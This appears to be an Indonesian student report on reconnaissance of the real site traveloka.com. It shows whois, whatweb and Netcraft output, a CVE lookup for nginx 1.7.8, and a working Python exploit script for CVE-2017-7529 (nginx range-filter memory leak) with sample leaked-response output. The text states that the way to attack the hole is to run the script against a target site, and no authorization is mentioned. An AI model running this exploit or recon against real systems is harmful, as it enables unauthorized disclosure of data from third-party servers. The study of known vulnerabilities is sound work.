

Reconnaissance Traveloka.com dengan Kali Linux

Ade Rahmad 09011281419059

- Who is Traveloka.com

```
root@aderahmad:~# whois traveloka.com
Domain Name: TRAVELOKA.COM
Registry Domain ID: 1636485791_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2015-04-25T18:46:53Z
Creation Date: 2011-01-23T12:15:40Z
Registry Expiry Date: 2024-01-23T12:15:40Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: 480-624-2505
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Name Server: BART.NS.CLOUDFLARE.COM
Name Server: CAROL.NS.CLOUDFLARE.COM
DNSSEC: unsigned

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.
Domain Name: TRAVELOKA.COM
Registrar URL: http://www.godaddy.com
Registrant Name: *****
Registrant Organization: Traveloka.com
Name Server: BART.NS.CLOUDFLARE.COM
Name Server: CAROL.NS.CLOUDFLARE.COM
DNSSEC: unsigned
```

- Whatweb Traveloka.com

```
root@aderahmad:~# whatweb traveloka.com
http://traveloka.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[cloudflare], IP[104.31.94.87], RedirectLocation[https://www.traveloka.com/], UncommonHeaders[cf-ray]
https://www.traveloka.com/ [200 OK] Cookies[_flash,tvl,tvs], Country[INDONESIA][ID], Email[bead16bec49e48aa850108917cf2bb24@sentry.io], Frame, HTML5, HttpOnly[tvl,tvs], IP[202.74.45.240], Open-Graph-Protocol[website], Script[text/javascript], Title[Tiket Pesawat Murah: Traveloka - Cari Tiket Pesawat Promo?], X-Frame-Options[SAMEORIGIN], X-Powered-By[haruka-haruka-x]
root@aderahmad:~#
```

Informasi yang didapatkan ialah server traveloka terdapat 2 yaitu di United states yang telah dipindahkan dan server di Indonesia yang masih berjalan.

- Netcraft traveloka.com

Site report for www.traveloka.com - Mozilla Firefox

Enter a URL here

Background

Site title	Cheap Flights & Tickets: Lowest Price with Traveloka.com	Date first seen	April 2011
Site rank	78429	Primary language	English
Description	Find the CHEAPEST flight tickets from various airlines with Traveloka		
Keywords	Not Present		
Netcraft Risk Rating [FAQ]	0/10		

Network

Site	http://www.traveloka.com	Netblock Owner	Akamai International, BV
Domain	traveloka.com	Nameserver	bart.ns.cloudflare.com
IP address	23.214.100.155	DNS admin	dns@cloudflare.com
IPv6 address	Not Present	Reverse DNS	a23-214-100-155.deploy.static.akamaitechnologies.com
Domain registrar	godaddy.com	Nameserver organisation	whois.cloudflare.com
Organisation	Traveloka.com	Hosting company	Akamai Technologies
Top Level Domain	Commercial entities (.com)	DNS Security Extensions	unknown
Hosting country	NL		

Hosting History

Netblock owner	IP address	OS	Web server	Last seen	Refresh
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.195.131.125	Linux	AkamaiGHost	5-Mar-2018	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.109.36	Linux	AkamaiGHost	14-Nov-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.207.182.129	Linux	AkamaiGHost	12-Sep-2017	
Akamai Technologies	2.19.153.32	Linux	AkamaiGHost	25-Jun-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.207.182.129	Linux	AkamaiGHost	16-May-2017	
Amazon Web Services, Elastic Compute Cloud, EC2, SG	122.248.241.146	Linux	nginx/1.7.8	29-Apr-2017	
Akamai Technologies	2.19.153.32	unknown	AkamaiGHost	16-Mar-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.103.127.194	Linux	AkamaiGHost	8-Mar-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.75.151	Linux	AkamaiGHost	3-Feb-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.75.151	unknown	AkamaiGHost	30-Jan-2017	

Site report for www.traveloka.com - Mozilla Firefox

Top Level Domain: Commercial entities (.com) | DNS Security Extensions: unknown

Hosting country: NL

Hosting History

Netblock owner	IP address	OS	Web server	Last seen	Refresh
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.195.131.125	Linux	AkamaiGHost	5-Mar-2018	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.109.36	Linux	AkamaiGHost	14-Nov-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.207.182.129	Linux	AkamaiGHost	12-Sep-2017	
Akamai Technologies	2.19.153.32	Linux	AkamaiGHost	25-Jun-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	23.207.182.129	Linux	AkamaiGHost	16-May-2017	
Amazon Web Services, Elastic Compute Cloud, EC2, SG	122.248.241.146	Linux	nginx/1.7.8	29-Apr-2017	
Akamai Technologies	2.19.153.32	unknown	AkamaiGHost	16-Mar-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.103.127.194	Linux	AkamaiGHost	8-Mar-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.75.151	Linux	AkamaiGHost	3-Feb-2017	
Akamai International, BV Prins Bernhardplein 200 Amsterdam NL 1097 JB	104.82.75.151	unknown	AkamaiGHost	30-Jan-2017	

Sender Policy Framework

A host's Sender Policy Framework (SPF) describes who can send mail on its behalf. This is done by publishing an SPF record containing a series of rules. Each rule consists of a qualifier followed by a specification of which domains to apply this qualifier to. For more information please see openspf.org.

Warning: It appears that this host does not have an SPF record. Setting up an SPF record helps prevent the delivery of forged emails from your domain.

DMARC

DMARC (Domain-based Message Authentication, Reporting and Conformance) is a mechanism for domain owners to indicate how mail purporting to originate from their domain should be authenticated. It builds on SPF and DKIM, providing a method to set policy and to give reporting of failures. For more information please see dmarc.org

Dapat dilihat traveloka.com hosting traveloka menggunakan jasa hosting di negara Belanda dengan update terakhir pada 5 Maret 2018 menggunakan OS Linux dengan mesin web server AkamaGHost.

- Cve Nginx/1.7.8 yang digunakan traveloka.com

Search Results

There are 62 CVE entries that match your search.

Name	Description
CVE-2018-1299	In Apache Allura before 1.8.0, unauthenticated attackers may retrieve arbitrary files through the Allura web application. Some webservers used with Allura, such as Nginx, Apache/mod_wsgi or paster may prevent the attack from succeeding. Others, such as gunicorn do not prevent it and leave Allura vulnerable.
CVE-2017-8301	LibreSSL 2.5.1 to 2.5.3 lacks TLS certificate verification if SSL_get_verify_result is relied upon for a later check of a verification result, in a use case where a user-provided verification callback returns 1, as demonstrated by acceptance of invalid certificates by nginx.
CVE-2017-7529	Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
CVE-2017-14460	An exploitable overly permissive cross-domain (CORS) whitelist vulnerability exists in JSON-RPC of Parity Ethereum client version 1.7.8. An automatically sent JSON object to JSON-RPC endpoint can trigger this vulnerability. A victim needs to visit a malicious website to trigger this vulnerability.
CVE-2017-1000478	Elabftw version 1.7.8 is vulnerable to stored cross-site scripting in the experiment infos component resulting in arbitrary execution of JavaScript and denial of service.
CVE-2016-4468	SQL injection vulnerability in Pivotal Cloud Foundry (PCF) before 238; UAA 2.x before 2.7.4.4, 3.x before 3.3.0.2, and 3.4.x before 3.4.1; UAA BOSH before 11.2 and 12.x before 12.2; Elastic Runtime before 1.6.29 and 1.7.x before 1.7.7; and Ops Manager 1.7.x before 1.7.8 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.

CVE-ID	CVE-2017-7529 Learn more at National Vulnerability Database (NVD) • CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information
Description	Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
References	<p>Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.</p> <ul style="list-style-type: none"> • MLIST:[nginx-announce] 20170711 nginx security advisory (CVE-2017-7529) • URL:http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html • CONFIRM:https://puppet.com/security/cve/cve-2017-7529 • REDHAT:RHSA-2017:2538 • URL:https://access.redhat.com/errata/RHSA-2017:2538 • BID:99534 • URL:http://www.securityfocus.com/bid/99534 • SECTRAK:1039238 • URL:http://www.securitytracker.com/id/1039238
Assigning CNA	Red Hat, Inc.
Date Entry Created	20170405
	Disclaimer: The entry creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Analisa hole dari nginx/1.7.8 yang digunakan oleh traveloka.com pada 27 april 2017:

Dari penjelasan di CVE(Common Vulnerability Exposure) didapatkan informasi, pada nginx versi 0.5.6 sampai nginx versi 1.13.2 terdapat hole dimana penyerang bisa mendapatkan informasi sensitif yang dipicu oleh permintaan yang dibuat khusus pada modul range filter nginx.

Cara menyerang hole ini yaitu dengan cara menjalankan kode dibawah ini kepada website tujuan yang menggunakan nginx versi 0.5.6 sampai 1.13.2.

```
#!/usr/bin/python
# -*- coding:utf-8 -*-

# Nginx - Remote Integer Overflow Vulnerability
# CVE-2017-7529

import requests
import logging
import sys

logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)

def send_http_request(url, headers={}, timeout=8.0):
    httpResponse = requests.get(url, headers=headers, timeout=timeout)
    httpHeaders = httpResponse.headers

    log.info("status: %s: Server: %s", httpResponse.status_code, httpHeaders.get('Server', ''))
    return httpResponse

def exploit(url):
    log.info("target: %s", url)
    httpResponse = send_http_request(url)

    content_length = httpResponse.headers.get('Content-Length', 0)
    bytes_length = int(content_length) + 623
    content_length = "bytes=-%d,-9223372036854%d" % (bytes_length, 776000 - bytes_length)

    httpResponse = send_http_request(url, headers={ 'Range': content_length })
    if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:
        log.info("[+] Vulnerable to CVE-2017-7529")
    else:
        log.info("[?] Unknown Vulnerable")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("[*] %s <url>" % sys.argv[0])
        sys.exit(1)

    url = sys.argv[1]
    exploit(url)

"""
GET /proxy/demo.png HTTP/1.1
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758792
"""
```

Host: 127.0.0.1:8000
Connection: close
User-Agent: Python-urllib/2.7

HTTP/1.1 206 Partial Content
Server: nginx/1.13.1
Date: Mon, 14 Aug 2017 05:53:54 GMT
Content-Type: multipart/byteranges; boundary=000000000000000002
Connection: close
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT

--000000000000000002
Content-Type: image/png
Content-Range: bytes -623-16584/16585

.....<.Y.....lY....r:.Y.....@.`..v.q.."40c9-
5547a060fdf00".....
.....

KEY: httpGET127.0.0.1/proxy/demo.png
HTTP/1.1 200 OK
Date: Mon, 14 Aug 2017 05:51:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
Accept-Ranges: bytes
Content-Length: 16585
Connection: close
Content-Type: image/png

""